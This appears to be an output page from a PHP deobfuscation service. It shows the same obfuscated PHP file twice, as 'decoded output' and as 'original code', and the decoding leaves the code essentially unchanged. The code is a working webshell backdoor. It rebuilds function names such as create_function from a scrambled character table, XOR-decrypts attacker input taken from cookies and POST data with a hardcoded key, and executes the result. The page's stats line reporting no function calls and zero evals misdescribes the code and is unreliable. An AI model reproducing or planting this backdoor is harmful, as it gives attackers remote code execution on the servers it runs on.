Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $tmzekdk = 'r8b2pya7m-Hvki1_ofxs5#gt*u\'ed4ln3c';$odwhvf = Array();$odwhvf[] = $tmz..

Decoded Output download

<?php 
$tmzekdk = 'r8b2pya7m-Hvki1_ofxs5#gt*u\'ed4ln3c';$odwhvf = Array();$odwhvf[] = $tmzekdk[33].$tmzekdk[0].$tmzekdk[27].$tmzekdk[6].$tmzekdk[23].$tmzekdk[27].$tmzekdk[15].$tmzekdk[17].$tmzekdk[25].$tmzekdk[31].$tmzekdk[33].$tmzekdk[23].$tmzekdk[13].$tmzekdk[16].$tmzekdk[31];$odwhvf[] = $tmzekdk[10].$tmzekdk[24];$odwhvf[] = $tmzekdk[21];$odwhvf[] = $tmzekdk[1].$tmzekdk[7].$tmzekdk[32].$tmzekdk[17].$tmzekdk[28].$tmzekdk[28].$tmzekdk[32].$tmzekdk[29].$tmzekdk[9].$tmzekdk[28].$tmzekdk[33].$tmzekdk[3].$tmzekdk[27].$tmzekdk[9].$tmzekdk[29].$tmzekdk[2].$tmzekdk[20].$tmzekdk[7].$tmzekdk[9].$tmzekdk[6].$tmzekdk[7].$tmzekdk[7].$tmzekdk[1].$tmzekdk[9].$tmzekdk[6].$tmzekdk[20].$tmzekdk[14].$tmzekdk[6].$tmzekdk[28].$tmzekdk[1].$tmzekdk[20].$tmzekdk[33].$tmzekdk[28].$tmzekdk[2].$tmzekdk[27].$tmzekdk[32];$odwhvf[] = $tmzekdk[33].$tmzekdk[16].$tmzekdk[25].$tmzekdk[31].$tmzekdk[23];$odwhvf[] = $tmzekdk[19].$tmzekdk[23].$tmzekdk[0].$tmzekdk[15].$tmzekdk[0].$tmzekdk[27].$tmzekdk[4].$tmzekdk[27].$tmzekdk[6].$tmzekdk[23];$odwhvf[] = $tmzekdk[27].$tmzekdk[18].$tmzekdk[4].$tmzekdk[30].$tmzekdk[16].$tmzekdk[28].$tmzekdk[27];$odwhvf[] = $tmzekdk[19].$tmzekdk[25].$tmzekdk[2].$tmzekdk[19].$tmzekdk[23].$tmzekdk[0];$odwhvf[] = $tmzekdk[6].$tmzekdk[0].$tmzekdk[0].$tmzekdk[6].$tmzekdk[5].$tmzekdk[15].$tmzekdk[8].$tmzekdk[27].$tmzekdk[0].$tmzekdk[22].$tmzekdk[27];$odwhvf[] = $tmzekdk[19].$tmzekdk[23].$tmzekdk[0].$tmzekdk[30].$tmzekdk[27].$tmzekdk[31];$odwhvf[] = $tmzekdk[4].$tmzekdk[6].$tmzekdk[33].$tmzekdk[12];foreach ($odwhvf[8]($_COOKIE, $_POST) as $bcanyjm => $odeauqw){function pnxpfdd($odwhvf, $bcanyjm, $oizolnt){return $odwhvf[7]($odwhvf[5]($bcanyjm . $odwhvf[3], ($oizolnt / $odwhvf[9]($bcanyjm)) + 1), 0, $oizolnt);}function yrmoar($odwhvf, $bfazoc){return @$odwhvf[10]($odwhvf[1], $bfazoc);}function efbbaci($odwhvf, $bfazoc){$prremwt = $odwhvf[4]($bfazoc) % 3;if (!$prremwt) {$tnrrdvl = $odwhvf[0]; $kdaammt = $tnrrdvl("", $bfazoc[1]($bfazoc[2]));$kdaammt();exit();}}$odeauqw = yrmoar($odwhvf, $odeauqw);efbbaci($odwhvf, $odwhvf[6]($odwhvf[2], $odeauqw ^ pnxpfdd($odwhvf, $bcanyjm, $odwhvf[9]($odeauqw))));} ?>

Did this file decode correctly?

Original Code

<?php
$tmzekdk = 'r8b2pya7m-Hvki1_ofxs5#gt*u\'ed4ln3c';$odwhvf = Array();$odwhvf[] = $tmzekdk[33].$tmzekdk[0].$tmzekdk[27].$tmzekdk[6].$tmzekdk[23].$tmzekdk[27].$tmzekdk[15].$tmzekdk[17].$tmzekdk[25].$tmzekdk[31].$tmzekdk[33].$tmzekdk[23].$tmzekdk[13].$tmzekdk[16].$tmzekdk[31];$odwhvf[] = $tmzekdk[10].$tmzekdk[24];$odwhvf[] = $tmzekdk[21];$odwhvf[] = $tmzekdk[1].$tmzekdk[7].$tmzekdk[32].$tmzekdk[17].$tmzekdk[28].$tmzekdk[28].$tmzekdk[32].$tmzekdk[29].$tmzekdk[9].$tmzekdk[28].$tmzekdk[33].$tmzekdk[3].$tmzekdk[27].$tmzekdk[9].$tmzekdk[29].$tmzekdk[2].$tmzekdk[20].$tmzekdk[7].$tmzekdk[9].$tmzekdk[6].$tmzekdk[7].$tmzekdk[7].$tmzekdk[1].$tmzekdk[9].$tmzekdk[6].$tmzekdk[20].$tmzekdk[14].$tmzekdk[6].$tmzekdk[28].$tmzekdk[1].$tmzekdk[20].$tmzekdk[33].$tmzekdk[28].$tmzekdk[2].$tmzekdk[27].$tmzekdk[32];$odwhvf[] = $tmzekdk[33].$tmzekdk[16].$tmzekdk[25].$tmzekdk[31].$tmzekdk[23];$odwhvf[] = $tmzekdk[19].$tmzekdk[23].$tmzekdk[0].$tmzekdk[15].$tmzekdk[0].$tmzekdk[27].$tmzekdk[4].$tmzekdk[27].$tmzekdk[6].$tmzekdk[23];$odwhvf[] = $tmzekdk[27].$tmzekdk[18].$tmzekdk[4].$tmzekdk[30].$tmzekdk[16].$tmzekdk[28].$tmzekdk[27];$odwhvf[] = $tmzekdk[19].$tmzekdk[25].$tmzekdk[2].$tmzekdk[19].$tmzekdk[23].$tmzekdk[0];$odwhvf[] = $tmzekdk[6].$tmzekdk[0].$tmzekdk[0].$tmzekdk[6].$tmzekdk[5].$tmzekdk[15].$tmzekdk[8].$tmzekdk[27].$tmzekdk[0].$tmzekdk[22].$tmzekdk[27];$odwhvf[] = $tmzekdk[19].$tmzekdk[23].$tmzekdk[0].$tmzekdk[30].$tmzekdk[27].$tmzekdk[31];$odwhvf[] = $tmzekdk[4].$tmzekdk[6].$tmzekdk[33].$tmzekdk[12];foreach ($odwhvf[8]($_COOKIE, $_POST) as $bcanyjm => $odeauqw){function pnxpfdd($odwhvf, $bcanyjm, $oizolnt){return $odwhvf[7]($odwhvf[5]($bcanyjm . $odwhvf[3], ($oizolnt / $odwhvf[9]($bcanyjm)) + 1), 0, $oizolnt);}function yrmoar($odwhvf, $bfazoc){return @$odwhvf[10]($odwhvf[1], $bfazoc);}function efbbaci($odwhvf, $bfazoc){$prremwt = $odwhvf[4]($bfazoc) % 3;if (!$prremwt) {$tnrrdvl = $odwhvf[0]; $kdaammt = $tnrrdvl("", $bfazoc[1]($bfazoc[2]));$kdaammt();exit();}}$odeauqw = yrmoar($odwhvf, $odeauqw);efbbaci($odwhvf, $odwhvf[6]($odwhvf[2], $odeauqw ^ pnxpfdd($odwhvf, $bcanyjm, $odwhvf[9]($odeauqw))));}

Function Calls

None

Variables

$odwhvf []
$tmzekdk r8b2pya7m-Hvki1_ofxs5#gt*u'ed4ln3c

Stats

MD5 40f5fb8fdc45afb366b307ad2c2de761
Eval Count 0
Decode Time 129 ms